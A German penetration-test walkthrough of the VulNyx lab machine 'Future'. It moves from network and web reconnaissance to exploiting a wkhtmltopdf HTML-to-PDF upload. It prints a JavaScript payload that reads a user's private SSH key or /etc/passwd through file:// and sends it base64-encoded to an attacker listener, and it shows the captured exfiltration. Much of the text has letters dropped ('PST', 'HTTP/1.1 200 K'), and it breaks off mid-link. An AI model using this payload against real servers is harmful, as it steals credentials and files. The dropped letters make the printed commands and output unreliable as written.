Future - VulNyx - Level: Medium - Bericht

Medium

Verwendete Tools

arp-scan
nmap
nikto
gobuster
whatweb
webtech
nuclei
tcpdump
Burp Suite
netcat (nc)
CyberChef
cewl
ssh2john
john
ssh
find
getcap
docker
chroot
vi
cat
ls
grep
id

Inhaltsverzeichnis

Reconnaissance

Die Aufklärungsphase beginnt mit der Identifizierung des Ziels im Netzwerksegment 192.168.2.0/24.

┌──(root㉿CCat)-[~] └─# arp-scan -l
192.168.2.114	08:00:27:f4:bd:97	PCS Systemtechnik GmbH
                    

**Analyse:** Ein ARP-Scan im lokalen Netzwerk identifiziert die IP-Adresse `192.168.2.114`. Die zugehörige MAC-Adresse `08:00:27:f4:bd:97` und der Hersteller "PCS Systemtechnik GmbH" weisen auf eine Oracle VirtualBox VM hin.

**Bewertung:** Ziel-IP bestätigt, Virtualisierungsumgebung wahrscheinlich VirtualBox.

**Empfehlung (Pentester):** Ziel-IP für weitere Scans verwenden. VM-Hinweis kann bei Exploit-Auswahl relevant sein.
**Empfehlung (Admin):** Sicherstellen, dass nur autorisierte Geräte im Netzwerk aktiv sind.

┌──(root㉿CCat)-[~] └─# vi /etc/hosts

**Analyse:** Die lokale `/etc/hosts`-Datei des Angreifers wird bearbeitet.

**Bewertung:** Standardvorgehen, um einen Hostnamen zuzuweisen.

**Empfehlung (Pentester/Admin):** Keine besondere Aktion erforderlich.

┌──(root㉿CCat)-[~] └─# grep future /etc/hosts
                192.168.2.114   future.nyx
                     

**Analyse:** Überprüfung des Eintrags in der `/etc/hosts`-Datei. Der IP `192.168.2.114` wurde der Hostname `future.nyx` zugewiesen.

**Bewertung:** Erleichtert die weitere Enumeration, insbesondere von Webdiensten.

**Empfehlung (Pentester):** Verwenden Sie `future.nyx` in URLs und Scans.
**Empfehlung (Admin):** Korrekte interne DNS-Konfiguration bevorzugen.

┌──(root㉿CCat)-[~] └─# nmap fe80a00:27ff:fef4:bd97%eth0 -6
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-03 22:27 CEST
Nmap scan report for future (fe80a00:27ff:fef4:bd97)
Host is up (0.00010s latency).
Not shown: 998 closed tcp ports (reset)
PRT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:F4:BD:97 (racle VirtualBox virtual NIC)
                    

**Analyse:** Ein Nmap-Scan wird gegen die IPv6 Link-Local-Adresse des Ziels durchgeführt. Er identifiziert offene TCP-Ports 22 (SSH) und 80 (HTTP).

**Bewertung:** Bestätigt SSH und HTTP als potenzielle Angriffsvektoren über IPv6.

**Empfehlung (Pentester):** Notieren Sie die offenen Ports. Führen Sie detailliertere Scans gegen die IPv4-Adresse durch, um ein vollständiges Bild zu erhalten.
**Empfehlung (Admin):** Stellen Sie sicher, dass IPv6 sicher konfiguriert ist oder deaktivieren Sie es, wenn es nicht benötigt wird.

Web Enumeration

Untersuchung des Webservers auf Port 80, der über IPv6 als offen identifiziert wurde.

- Nikto v2.5.0

+ Target IP:          192.168.2.114
+ Target Hostname:    future.nyx
+ Target Port:        80
+ Start Time:         2024-09-03 22:25:20 (GMT2)

+ Server: Apache/2.4.57 (Debian)
+ /: The anti-clickjacking X-Frame-ptions header is not present. See: [Link: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions | Ziel: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions]
+ /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: [Link: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ | Ziel: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/]
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags, header found with file /, inode: 6bf, size: 614541e742340, mtime: gzip. See: [Link: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418 | Ziel: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418]
+ PTINS: Allowed HTTP Methods: PTINS, HEAD, GET, PST .
+ /images/: Directory indexing found.
+ 7962 requests: 0 error(s) and 5 item(s) reported on remote host
+ End Time:           2024-09-03 22:25:31 (GMT2) (11 seconds)

+ 1 host(s) tested
                    

**Analyse:** Ein Nikto-Scan wird gegen den Webserver auf Port 80 (`http://future.nyx`) durchgeführt.

**Bewertung:** Nikto findet mehrere Punkte: * **Server-Version:** Apache/2.4.57 (Debian). Diese Version ist relativ aktuell. * **Fehlende Security Header:** `X-Frame-Options` und `X-Content-Type-Options` fehlen. * **ETag Inode Leak:** Potenzielle Preisgabe von Inode-Nummern (geringes Risiko). * **Erlaubte Methoden:** Ungewöhnliche Methoden `PTINS` und `PST` sind neben `HEAD` und `GET` erlaubt. * **Directory Indexing:** Das Verzeichnis `/images/` erlaubt das Auflisten von Dateien.

**Empfehlung (Pentester):** Untersuchen Sie `/images/` auf interessante Dateien. Prüfen Sie die ungewöhnlichen HTTP-Methoden `PTINS` und `PST`.
**Empfehlung (Admin):** Implementieren Sie die fehlenden Security-Header. Konfigurieren Sie ETags sicher (`FileETag MTime Size`). Deaktivieren Sie unnötige HTTP-Methoden. Deaktivieren Sie Directory Indexing (`Options -Indexes`).

 Gobuster Scan  
 
[+] Url:              http://future.nyx

http://future.nyx/index.html           (Status: 200) [Size: 1727]
http://future.nyx/page.html            (Status: 200) [Size: 714]
http://future.nyx/images               (Status: 301) [Size: 309] [--> http://future.nyx/images/]
http://future.nyx/content              (Status: 301) [Size: 310] [--> http://future.nyx/content/]
http://future.nyx/page.html            (Status: 200) [Size: 714]
http://future.nyx/assets               (Status: 301) [Size: 309] [--> http://future.nyx/assets/]
http://future.nyx/process.php          (Status: 500) [Size: 0]
http://future.nyx/1955.html            (Status: 200) [Size: 3808]
http://future.nyx/2015.html            (Status: 200) [Size: 3786]
http://future.nyx/transition           (Status: 301) [Size: 313] [--> http://future.nyx/transition/]
http://future.nyx/1885.html            (Status: 200) [Size: 3869]
http://future.nyx/homework.html        (Status: 200) [Size: 3318]
                     

**Analyse:** Ein Gobuster-Scan (vermutlich `gobuster dir -u http://future.nyx -w ...`) wurde durchgeführt, um Verzeichnisse und Dateien zu finden.

**Bewertung:** Der Scan findet mehrere HTML-Seiten (mit Jahreszahlen und `page.html`, `homework.html`), verschiedene Verzeichnisse (`images`, `content`, `assets`, `transition`) und die besonders interessante Datei `process.php`, die einen HTTP 500 Internal Server Error zurückgibt. Dies deutet auf ein serverseitiges Skript hin, das möglicherweise fehlerhaft ist oder Eingaben erwartet.

**Empfehlung (Pentester):** Untersuchen Sie die gefundenen HTML-Seiten (insbesondere `homework.html` und `page.html`) auf Hinweise. Analysieren Sie `process.php` genauer, versuchen Sie POST-Anfragen oder verschiedene Parameter.
**Empfehlung (Admin):** Stellen Sie sicher, dass serverseitige Skripte robust sind und Fehler ordnungsgemäß behandeln, ohne interne Informationen preiszugeben. Deaktivieren oder entfernen Sie nicht benötigte Seiten und Skripte.

Web enum: 
view-source:http://future.nyx/2015.html


History
 It follows Marty McFly and his friend Dr. Emmett "Doc" Brownas they travel 
     from 1985 to 2015 to prevent 
									
 Marty's son from sabotaging the McFly family's future. When their arch-nemesis
 Biff Tannen 
									
 steals Doc's DeLorean time machine and uses it to alter history for his benefit, 
the duo must return 
									
                    

**Analyse:** Der Quellcode oder sichtbare Text der Seite `2015.html` wird untersucht. Es handelt sich um eine Beschreibung des Films "Zurück in die Zukunft II".

**Bewertung:** Enthält Namen wie "Marty McFly", "Emmett Brown" ("Doc"), "Biff Tannen". Diese könnten potenzielle Benutzernamen oder Hinweise für Passwörter sein.

**Empfehlung (Pentester):** Notieren Sie die Namen für mögliche Brute-Force-Versuche oder als Teil von Wortlisten für das Knacken von Passphrasen/Passwörtern.
**Empfehlung (Admin):** Vermeiden Sie die Verwendung von leicht zu erratenden Namen oder Begriffen aus der Popkultur in Benutzernamen oder Passwörtern.

┌──(root㉿CCat)-[~] └─# whatweb -a 3 http://future.nyx
ERRR pening: http://future.nyx - Connection refused - connect(2) for "" port 80
                    
┌──(root㉿CCat)-[~] └─# whatweb -a 1 http://future.nyx
ERRR pening: http://future.nyx - Connection refused - connect(2) for "" port 80
                     

**Analyse:** Zwei Versuche, `whatweb` (ein Tool zur Identifizierung von Web-Technologien) mit unterschiedlichen Aggressivitätsleveln (`-a 3`, `-a 1`) gegen `http://future.nyx` auszuführen.

**Bewertung:** Beide Versuche schlagen mit "Connection refused" fehl. Dies ist unerwartet, da andere Tools (Nmap, Nikto, Gobuster, Browser) den Webserver erfolgreich erreichen konnten. Möglicherweise liegt ein Konfigurationsproblem mit `whatweb` auf dem Angreifersystem vor oder eine temporäre Störung.

**Empfehlung (Pentester):** Ignorieren Sie dieses Ergebnis vorerst, da andere Tools funktionieren. Konzentrieren Sie sich auf die Ergebnisse von Nikto, Gobuster und Nuclei.
**Empfehlung (Admin):** Keine Aktion erforderlich, da das Problem wahrscheinlich beim Angreifer-Tool liegt.

┌──(root㉿CCat)-[~] └─# webtech -u http://future.nyx/
Target URL: http://future.nyx/
Detected technologies:
	- Debian 
	- Apache HTTP Server 2.4.57
                    

**Analyse:** Das Tool `webtech` wird verwendet, um Technologien auf `http://future.nyx/` zu erkennen.

**Bewertung:** Bestätigt Debian und Apache 2.4.57, was mit den Nmap- und Nikto-Ergebnissen übereinstimmt.

**Empfehlung (Pentester/Admin):** Keine neuen Informationen.

   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v2.9.15

		projectdiscovery.io

[WRN] Found 480 templates with syntax error (use -validate flag for further examination)
[INF] Current nuclei version: v2.9.15 (outdated)
[INF] Current nuclei-templates version: v9.9.4 (latest)
[INF] New templates added in latest release: 59
[INF] Templates loaded for current scan: 8201
[INF] Targets loaded for current scan: 1
[INF] Templates clustered: 1591 (Reduced 1484 Requests)
[caa-fingerprint] [dns] [info] future.nyx
[INF] Using Interactsh Server: oast.fun
[options-method] [http] [info] http://future.nyx/ [PTINS,HEAD,GET,PST]
[apache-detect] [http] [info] http://future.nyx/ [Apache/2.4.57 (Debian)]
[http-missing-security-headers:permissions-policy] [http] [info] http://future.nyx/
[http-missing-security-headers:x-frame-options] [http] [info] http://future.nyx/
[http-missing-security-headers:x-content-type-options] [http] [info] http://future.nyx/
[http-missing-security-headers:x-permitted-cross-domain-policies] [http] [info] http://future.nyx/
[http-missing-security-headers:referrer-policy] [http] [info] http://future.nyx/
[http-missing-security-headers:clear-site-data] [http] [info] http://future.nyx/
[http-missing-security-headers:cross-origin-embedder-policy] [http] [info] http://future.nyx/
[http-missing-security-headers:cross-origin-opener-policy] [http] [info] http://future.nyx/
[http-missing-security-headers:strict-transport-security] [http] [info] http://future.nyx/
[http-missing-security-headers:content-security-policy] [http] [info] http://future.nyx/
[http-missing-security-headers:cross-origin-resource-policy] [http] [info] http://future.nyx/
[waf-detect:apachegeneric] [http] [info] http://future.nyx/
[openssh-detect] [tcp] [info] future.nyx:22 [SSH-2.0-penSSH_9.2p1 Debian-2+deb12u2]
                    

**Analyse:** Der Schwachstellen-Scanner `nuclei` wird gegen das Ziel ausgeführt.

**Bewertung:** Nuclei bestätigt viele der bereits bekannten Informationen: * Erlaubte HTTP-Methoden (inkl. `PTINS`, `PST`). * Apache-Version. * Eine lange Liste fehlender sicherheitsrelevanter HTTP-Header. * Keine offensichtliche Web Application Firewall (WAF) erkannt, außer generischem Apache. * OpenSSH-Version auf Port 22 (OpenSSH 9.2p1 - relativ aktuell). Es findet keine spezifischen Exploits, liefert aber eine gute Zusammenfassung der Konfigurationsmängel.

**Empfehlung (Pentester):** Nutzen Sie die Liste der fehlenden Header als Bestätigung für die Empfehlungen. Die SSH-Version ist nützlich für spätere Schritte.
**Empfehlung (Admin):** Implementieren Sie die lange Liste der fehlenden Security-Header, um die Sicherheit der Webanwendung zu erhöhen (Clickjacking-Schutz, MIME-Type-Sniffing-Schutz, CSP, HSTS etc.).

GET     http://future.nyx/process.php
Status 500 Internal Server Error VersionHTTP/1
 
 
Content-Type    text/html; charset=UTF-8
Date            Tue, 03 Sep 2024 22:52:38 GMT
Server          Apache/2.4.57 (Debian)
	
Accept          text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
 
Host            future.nyx
 
User-Agent      Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
                      

**Analyse:** Details einer GET-Anfrage an `/process.php`, die mit einem HTTP 500 Fehler antwortet.

**Bewertung:** Bestätigt den Fehler bei direktem GET-Zugriff auf `process.php`. Dies deutet darauf hin, dass das Skript wahrscheinlich eine POST-Anfrage oder spezifische Parameter erwartet.

**Empfehlung (Pentester):** Analysieren Sie die Formulare oder JavaScript-Aufrufe, die zu `process.php` führen (insbesondere von `homework.html`).
**Empfehlung (Admin):** Fehlerbehandlung verbessern, keine 500er-Fehler ohne spezifische Fehlerseite oder Logging anzeigen.

Exfiltration via Blind SSRF

view-source:http://future.nyx/page.html
 
    Exfiltration via Blind SSRF 
        
        var readfile = new XMLHttpRequest(); // Read the local file
        var exfil = new XMLHttpRequest(); // Send the file to our server
        readfile.open("GET","file:///home/marty.mcfly/.ssh/id_rsa", true);
        readfile.send();
        readfile.onload = function() {
            if (readfile.readyState = 4) {
                var url = 'http://192.168.1.45:4444/?data='+btoa(this.response);
                exfil.open("GET", url, true);
                exfil.send();
            }
        }
        readfile.onerror = function(){document.write('ops!');}
        
                    

**Analyse:** Im Quellcode von `page.html` wird ein JavaScript-Snippet gefunden. Dieses Snippet versucht, die lokale Datei `/home/marty.mcfly/.ssh/id_rsa` mittels `XMLHttpRequest` zu lesen und deren Inhalt Base64-kodiert an einen externen Server (`http://192.168.1.45:4444`) zu senden. Die Beschreibung "Exfiltration via Blind SSRF" ist irreführend, da dies clientseitiger JavaScript-Code ist.

**Bewertung:** Dies ist ein **kritischer Fund**. Es deutet stark darauf hin, dass: 1. Es einen Benutzer `marty.mcfly` gibt. 2. Dessen privater SSH-Schlüssel unter `/home/marty.mcfly/.ssh/id_rsa` liegt. 3. Es eine Möglichkeit geben muss, diesen JavaScript-Code im Kontext des Servers oder einer serverseitigen Komponente auszuführen, die auf lokale Dateien zugreifen kann (wahrscheinlich über die `process.php` und die HTML-zu-PDF-Konvertierung, wie sich später herausstellt). Die IP `192.168.1.45` scheint eine veraltete Angreifer-IP zu sein.

**Empfehlung (Pentester):** Modifizieren Sie dieses JavaScript: Ändern Sie die Ziel-IP auf Ihre aktuelle Angreifer-IP (`192.168.2.199` in diesem Fall). Betten Sie das modifizierte Skript in eine HTML-Datei ein und laden Sie diese über die Funktion in `homework.html` (die `process.php` verwendet) hoch. Starten Sie einen Listener auf Port 4444.
**Empfehlung (Admin):** Entfernen Sie diesen Code aus `page.html`. Untersuchen Sie `process.php` auf die SSRF/Code-Execution-Schwachstelle.

Initial Access

Der Plan ist nun, die vermutete Schwachstelle in `process.php` auszunutzen. Diese scheint eine HTML-Datei zu verarbeiten (möglicherweise Konvertierung zu PDF) und dabei eingebettetes JavaScript auszuführen. Wir erstellen eine HTML-Datei mit modifiziertem JavaScript, um den SSH-Schlüssel von `marty.mcfly` zu exfiltrieren.

Proof of Concept: SSRF & LFI durch HTML-Upload und serverseitige Verarbeitung

**Kurzbeschreibung:** Das Skript `/process.php` akzeptiert den Upload von HTML-Dateien (wie auf `homework.html` zu sehen). Serverseitig wird die hochgeladene HTML-Datei verarbeitet, vermutlich durch ein Tool wie `wkhtmltopdf` zur PDF-Konvertierung. Diese Verarbeitungskomponente ist anfällig für Server-Side Request Forgery (SSRF) und führt eingebettetes JavaScript aus. Durch das Hochladen einer präparierten HTML-Datei, die JavaScript zum Lesen lokaler Dateien (`file://...`) und Senden der Daten an einen externen Server enthält, können sensible Dateien (wie private SSH-Schlüssel) exfiltriert werden.
**Voraussetzungen:**

**Erwartetes Ergebnis:** Der Server verarbeitet die hochgeladene HTML, führt das JavaScript aus, liest die lokale Datei und sendet deren Inhalt an den Listener des Angreifers. Dies ermöglicht das Stehlen sensibler Daten, was hier zum Erlangen des SSH-Schlüssels und damit zum Initial Access führt.

**Schritt 1: Starten des Listeners und Vorbereiten des Payloads**
Ein Listener wird gestartet, um die exfiltrierten Daten aufzufangen. Eine HTML-Datei (`ssrf.html`) wird mit dem JavaScript-Payload vorbereitet (Details siehe folgende Schritte).

┌──(root㉿CCat)-[~] └─# tcpdump port 4444 -A -n -i eth0
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
                     

**Analyse:** `tcpdump` wird gestartet, um den Netzwerkverkehr auf Port 4444 zu überwachen und anzuzeigen. `-A` zeigt den Paketinhalt als ASCII an, `-n` verhindert Namensauflösung, `-i eth0` gibt die Netzwerkschnittstelle an.

**Bewertung:** Dies dient dazu, die eingehenden Anfragen vom Zielserver zu sehen, die durch die SSRF ausgelöst werden. Alternativ hätte hier auch `nc -lvnp 4444` verwendet werden können.

**Empfehlung (Pentester):** `tcpdump` ist gut zur Analyse, aber `netcat` ist oft praktischer, um die reinen Daten zu empfangen.
**Empfehlung (Admin):** Netzwerk-Monitoring kann helfen, solche Exfiltrationsversuche zu erkennen.

**Schritt 2: Testen der Verarbeitungsfunktion und Identifizieren der SSRF**
Verschiedene Versuche werden mit Burp Suite unternommen, um zu verstehen, wie `process.php` funktioniert.

 Burpsuite 
  
 Request 

  
http://future.nyx/homework.html

PST /process.php HTTP/1.1
Host: future.nyx
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=162080125831529551633212641847
Content-Length: 1006
rigin: http://future.nyx
DNT: 1
Connection: keep-alive
Referer: http://future.nyx/homework.html
Upgrade-Insecure-Requests: 1
Sec-GPC: 1



--162080125831529551633212641847

Content-Disposition: form-data; name="htmlFile"; filename="extensions_php_bypass.txt"

Content-Type: text/plain



phtml
php
php3
php4
php5
inc  
 


--162080125831529551633212641847--

 Response:

HTTP/1.1 200 K
Date: Tue, 03 Sep 2024 23:22:40 GMT
Server: Apache/2.4.57 (Debian)
Content-Length: 64
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

Error: The uploaded file is not a valid HTML file. Error code: 0
                     

**Analyse:** Eine POST-Anfrage an `/process.php` sendet eine Datei mit PHP-Endungen als `htmlFile`. Der Server antwortet mit einem Fehler, dass die Datei keine gültige HTML-Datei sei.

**Bewertung:** Bestätigt, dass `process.php` eine HTML-Datei im Parameter `htmlFile` erwartet.

**Empfehlung (Pentester):** Senden Sie eine gültige, wenn auch einfache, HTML-Datei.
**Empfehlung (Admin):** Implementieren Sie serverseitig eine strikte Validierung der hochgeladenen Dateitypen und Inhalte.

http://future.nyx/process.php
Error: The uploaded file is not a valid HTML file. Error code: 0

 Request:

GET /process.php?htmlFile=file:///home/marty.mcfly/.ssh/id_rsa HTTP/1.1
Host: future.nyx

 Response:

HTTP/1.0 500 Internal Server Error
Date: Tue, 03 Sep 2024 23:27:22 GMT
Server: Apache/2.4.57 (Debian)
                      

**Analyse:** Ein Versuch, die Schwachstelle über eine GET-Anfrage mit dem Parameter `htmlFile` und einem `file://`-Protokollhandler auszunutzen.

**Bewertung:** Führt zu einem HTTP 500 Fehler. Bestätigt, dass die Verarbeitung über eine POST-Anfrage mit Dateiupload erfolgen muss.

**Empfehlung (Pentester):** Verwenden Sie den POST-Upload-Mechanismus.
**Empfehlung (Admin):** Keine Aktion direkt hieraus, aber die Fehlerbehandlung sollte verbessert werden.

┌──(root㉿CCat)-[~] └─# cp test.html /home/ccat/Downloads/ssrf.html
┌──(root㉿CCat)-[~] └─# vi /home/ccat/Downloads/ssrf.html
┌──(root㉿CCat)-[~] └─# cat /home/ccat/Downloads/ssrf.html
 nummer 1 
                     

**Analyse:** Eine lokale HTML-Datei `ssrf.html` wird erstellt oder bearbeitet. Der Inhalt scheint zunächst nur "nummer 1" zu sein.

**Bewertung:** Vorbereitung der Payload-Datei.

**Empfehlung (Pentester):** Fügen Sie den SSRF-Test-Payload (z.B. ``) oder den JavaScript-Exfiltrations-Payload hinzu.
**Empfehlung (Admin):** Keine Aktion.

 Request:

PST /process.php HTTP/1.1
Host: future.nyx
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=30788551032390446223954500854
Content-Length: 436
rigin: http://future.nyx
DNT: 1
Connection: keep-alive
Referer: http://future.nyx/homework.html
Upgrade-Insecure-Requests: 1
Sec-GPC: 1

--30788551032390446223954500854

Content-Disposition: form-data; name="htmlFile"; filename="ssrf.html"
Content-Type: text/html


:Response:

nummer 1
--30788551032390446223954500854--


 Request:


POST /process.php HTTP/1.1      file:///home/marty.mcfly/.ssh/id_rsa

>nummer 1
img src="http://192.168.2.199:4444"

Response:

HTTP/1.1 200 K
Date: Tue, 03 Sep 2024 23:32:13 GMT
Server: Apache/2.4.57 (Debian)
Content-Length: 48
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

Error: PDF file does not exist after conversion.
                     

**Analyse:** Eine POST-Anfrage lädt die `ssrf.html` hoch. Obwohl der Inhalt der hochgeladenen Datei nicht exakt gezeigt wird, deuten die Notizen darauf hin, dass sie ein `` Tag enthält. Die Antwort des Servers lautet "Error: PDF file does not exist after conversion."

**Bewertung:** Dies ist der entscheidende Schritt zur Bestätigung der SSRF und des Verarbeitungsmechanismus. Obwohl ein Fehler gemeldet wird (die PDF-Konvertierung schlägt vielleicht fehl oder wird abgebrochen), löst der Versuch, das Bild von `http://192.168.2.199:4444` zu laden, die SSRF aus. Der Fehler "PDF file does not exist after conversion" bestätigt stark die Vermutung, dass eine HTML-zu-PDF-Konvertierung stattfindet.

**Empfehlung (Pentester):** Überprüfen Sie den Listener (Netcat/tcpdump) auf die eingehende Anfrage, die durch das ``-Tag ausgelöst wurde.
**Empfehlung (Admin):** Deaktivieren Sie die Funktionalität in `process.php` oder stellen Sie sicher, dass die HTML-zu-PDF-Komponente sicher konfiguriert ist (z.B. keine externen Anfragen erlaubt, keine lokalen Dateizugriffe, kein JavaScript ausgeführt).

┌──(root㉿CCat)-[~] └─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.199] from (UNKNWN) [192.168.2.114] 54238
GET / HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.34 (KHTML, like Gecko) wkhtmltopdf Safari/534.34
Accept: */*
Connection: Keep-Alive
Accept-Encoding: gzip
Accept-Language: en,*
Host: 192.168.2.199:4444
                     

**Analyse:** Der Netcat-Listener empfängt eine GET-Anfrage von der IP des Zielservers (`192.168.2.114`).

**Bewertung:** **SSRF bestätigt!** Der `User-Agent` Header (`... wkhtmltopdf ...`) identifiziert eindeutig das Tool, das serverseitig die HTML verarbeitet und die SSRF ausgelöst hat. Der Server hat versucht, das im ``-Tag angegebene Bild zu laden.

**Empfehlung (Pentester):** Jetzt kann der Exploit zur Exfiltration des SSH-Schlüssels durchgeführt werden.
**Empfehlung (Admin):** `wkhtmltopdf` ist bekannt für SSRF und LFI. Konfigurieren Sie es sicher oder ersetzen Sie es durch eine sicherere Alternative.

**Schritt 3: Exfiltrieren von /etc/passwd (Test)**
Die `ssrf.html` wird nun mit dem JavaScript-Payload bestückt, um `/etc/passwd` zu lesen und zu senden.

Request:

--30788551032390446223954500854

Content-Disposition: form-data; name="htmlFile"; filename="ssrf.html"
Content-Type: text/html



Exfiltration via Blind SSRF

:Response:

**Analyse:** Der Inhalt der hochgeladenen `ssrf.html` wird gezeigt. Sie enthält nun das modifizierte JavaScript, das `file:///etc/passwd` liest und an `http://192.168.2.199:4444` sendet.

**Bewertung:** Dies ist der vorbereitete Payload, um die LFI-Fähigkeit der serverseitigen JavaScript-Ausführung zu testen.

**Empfehlung (Pentester):** Senden Sie diesen POST-Request an `/process.php` und beobachten Sie den Listener.
**Empfehlung (Admin):** Keine Aktion.

┌──(root㉿CCat)-[~] └─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.199] from (UNKNWN) [192.168.2.114] 50298
GET /?data=cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzO[...]K HTTP/1.1
rigin: file://
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.34 (KHTML, like Gecko) wkhtmltopdf Safari/534.34
Accept: */*
Connection: Keep-Alive
Accept-Encoding: gzip
Accept-Language: en,*
Host: 192.168.2.199:4444
                     
[Link: https://cyberchef.org/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)&input=Y205dmREcDRPakE2TURweWIyTBPaTl5YjI5ME9pWlhVzR2WW1GemFBcGtZV1Z0YjI0NmVEb3hPakU2WkdGbGJXXVPaTkxYzNJdmMySnBiam92ZFheUwzTmlhVzR2Ym05c2IyZHBiZ3BpYVc0NmVEb3lPakk2WW1sdU9pWlhVzQ2TDNWemNpXpZbWx1TDI1dmJHW5hVzRLYzNsek9uZzZNem96T25NWN6b3ZaR1YyT2k5MWMzSXZjMkpwYmk5dWIyeHZaMmx1Q25NWJtTTZlRG8wT2pZMU5UTTBPbk41Ym1NNkwySnBiam92WW1sdUwzTjVibU1LWjJGdFpYTTZlRG8xT2pZd09tZGhiV1Z6T2k5MWMzSXZaMkZ0WlhNNkwzVnpjaTl6WW1sdUwyNXZiRzluYVc0S2JXRnVPbmc2TmpveE1qcHRZVzQ2TDNaaGNpWpZV05vWlM5dFlXNDZMM1Z6Y2k5elltbHVMMjV2Ykc5bmFXNEtiSEE2ZURvM09qYzZiSEE2TDNaaGNpXpjRzl2YkM5c2NHUTZMM1Z6Y2k5elltbHVMMjV2Ykc5bmFXNEtiV0ZwYkRwNE9qZzZPRHB0WVdsc09pTJZWEl2YldGcGJEb3ZkWE55TDNaWFXNHZibTlzYjJkcGJncHVaWGR6T25nNk9UbzVPbTVsZDNNNkwzWmhjaTl6Y0c5dmJDXVaWGR6T2k5MWMzSXZjMkpwYmk5dWIyeHZaMmx1Q25WMVkzQTZlRG94TURveE1EcDFkV053T2k5MllYSXZjM0J2YjJ3dmRYVmpjRG92ZFheUwzTmlhVzR2Ym05c2IyZHBiZ3B3Y205NGVUcDRPakV6T2pFek9uQnliM2g1T2k5aWFXNDZMM1Z6Y2k5elltbHVMMjV2Ykc5bmFXNEtkM2QzTFdSaGRHRTZlRG96TXpvek16cDNkM2N0WkdGMFlUb3ZkbUZ5TDNkM2R6b3ZkWE55TDNaWFXNHZibTlzYjJkcGJncGlZV05yZFhBNmVEb3pRG96TkRwaVlXTnJkWEE2TDNaaGNpWlZV05yZFhCek9pTFjM0l2YzJKcGJpXViMnh2WjJsdUNteHBjM1E2ZURvek9Eb3pPRHBWVdsc2FXNW5JRXhwYzNRZ1RXRnVZV2RsY2pvdmRtRnlMMnhwYzNRNkwzVnpjaTl6WW1sdUwyNXZiRzluYVc0S2FYSmpPbmc2TXprNk16azZhWEpqWkRvdmNuVnVMMmx5WTJRNkwzVnpjaTl6WW1sdUwyNXZiRzluYVc0S1gyRndkRHA0T2pReU9qWTFVE0wT2pvdmJtXVaWGhwYzNSbGJuUTZMM1Z6Y2k5elltbHVMMjV2Ykc5bmFXNEtibTlpYjJSNU9uZzZalUxTXpRNk5qVTFNelE2Ym05aWIyUjVPaTl1YjI1bGVHbHpkR1Z1ZERvdmRYTnlMM05pYVc0dmJtXNiMmRwYmdwemVYTjBaVzFrTFc1bGRIZHZjbXM2ZURvNU9UZzZPVGs0T25NWMzUmxiV1FnVG1WMGQyXlheUJWVc1aFoyVnRaVzUwT2k4NkwzVnpjaTl6WW1sdUwyNXZiRzluYVc0S2JXVnpjMkZuWldKMWN6cDRPakV3TURveE1EYzZPaTl1YjI1bGVHbHpkR1Z1ZERvdmRYTnlMM05pYVc0dmJtXNiMmRwYmdwemMyaGtPbmc2TVRBeE9qWTFVE0wT2pvdmNuVnVMM056YUdRNkwzVnpjaTl6WW1sdUwyNXZiRzluYVc0S2JXRnlkSGt1YldbWJIazZlRG94TURBd09qRXdNREE2T2k5b2IyMWxMMjFoY25SNUxtMWpabXg1T2k5aWFXNHZZbUZ6YUFwbGJXMWxkSFF1WW5KdmQyNDZlRG94TURBeE9qRXdNREU2T2k5b2IyMWxMMlZ0YldWMGRDNWljbTkzYmpvdlltbHVMMkpoYzJnSw | Ziel: 